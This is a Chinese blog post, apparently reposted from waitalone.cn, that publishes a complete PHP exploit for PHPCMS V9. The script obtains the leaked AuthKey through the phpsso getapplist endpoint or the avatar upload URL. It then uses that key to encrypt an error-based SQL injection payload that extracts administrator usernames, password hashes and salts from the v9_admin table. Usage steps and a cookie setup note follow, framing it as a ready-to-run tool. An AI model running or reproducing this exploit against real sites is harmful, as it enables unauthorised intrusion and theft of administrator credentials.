PHPCMSV9 AuthKey泄露导致注入EXP

独自等待 2017年5月12日02:51:05评论644 views字数 179阅读0分35秒阅读模式

昨天小站发布了PHPCMSV9 AuthKey泄露导致SQL注入的文章,熟悉本站的兄弟们都知道,今天可能就会发布EXP了,恭喜你,又猜对了。

好久没有写PHP版的EXP了,这次再写就已经基本忘光了,唉,花了好久的时间呀,最终还是完成了。

其实使用昨天的那个中转脚本已经完全够用了,今天发布的这个是给懒人用的,先给个图吧。。。

phpcmsv9_auth_exp

PHPCMSV9 AuthKey注入EXP

 array(
        'method' => "GET",
        'timeout' => 30,
        'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\r\n" .
            "Cookie: $cookie\r\n"
    )
);
//核心代码,注入获取管理员账号及密码
$sql_admin = sql_inject();
$count = count($sql_admin);
if ($count != 0) {
    echo '恭喜大爷,成功获取到[ ' . $count . ' ]个管理员账号!' . "\n\n";
    foreach ($sql_admin as $num => $admin) {
        echo '管理员' . ($num + 1) . '=>' . $admin . PHP_EOL;
    }
} else {
    exit('杯具了大爷,此站漏洞已经修补,请秒下一个!');
}
//获取authkey函数
function authkey()
{
    global $opts;
    $authkey = '';
    global $domain, $cookie;
    $crack_url = $domain . '/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V';
    $context = stream_context_create($opts);
    $crack_key = file_get_contents($crack_url, false, $context);
    if (preg_match('/s:32:"(.*?)";/', $crack_key, $match)) {
        echo '成功获取到AuthKey_1:' . $match[1] . "\n\n";
        $authkey = $match[1];
    } else {
        $avatar_url = $domain . '/index.php?m=member&c=index&a=account_manage_avatar&t=1';
        $upurl = file_get_contents($avatar_url, false, $context);
        if (preg_match('/\'upurl\':"(.+?)&callback=return_avatar/', $upurl, $match)) {
            $key_url = base64_decode($match[1]);
            $key_url = str_replace('uploadavatar', 'getapplist', $key_url);
            $auth_url = file_get_contents($key_url, false, $context);
            if (preg_match('/"authkey";s:32:"(.*?)"/', $auth_url, $au_match)) {
                echo '成功获取到AuthKey_2:' . $au_match[1] . "\n\n";
                $authkey = $au_match[1];
            }
        }
    }
    return $authkey;
}

//SQL注入函数
function sql_inject()
{
    global $domain, $opts;
    $limit = 10; //默认显示多少个管理员账号
    $admin = array();
    $key = authkey();
    $context = stream_context_create($opts);
    for ($i = 0; $i <= $limit; $i++) {
        $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select (
        SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit $i,1)) from
        information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key);
        $target = $domain . '/api.php?op=phpsso&code=' . $code;
        $content = file_get_contents($target, false, $context);
        if (preg_match('/~(.+?)~1/', $content, $match)) {
            $admin[] = $match[1];
        } else {
            break;
        }
    }
    return $admin;
}

//phpcms authkey加密函数
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
    $key_length = 4;
    $key = md5($key);
    $fixedkey = hash('md5', $key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    $i = 0;
    $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++) {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if ($operation == 'ENCODE') {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } else {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}

//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo "\n脚本执行时间:" . round((func_time() - $start_time), 4) . '秒';

使用方法:

Example: php phpcmsv9_authkey_exp.php http://www.waitalone.cn/

由于获取AuthKey需要注册用户并登录,请在使用脚本前先把你登录以后的cookie写入脚本中,可能的话把User-Agent也改成你自己的吧。

phpcmsv9_auth_exp2

脚本都添加了注释,有不明白在此留言,我会回复你的。。

2015/11/06更新EXP,增加不需要登录获取authkey的方法,有需要的拿去。



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:51:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPCMSV9 AuthKey泄露导致注入EXPhttps://cn-sec.com/archives/50432.html

发表评论

匿名网友 填写信息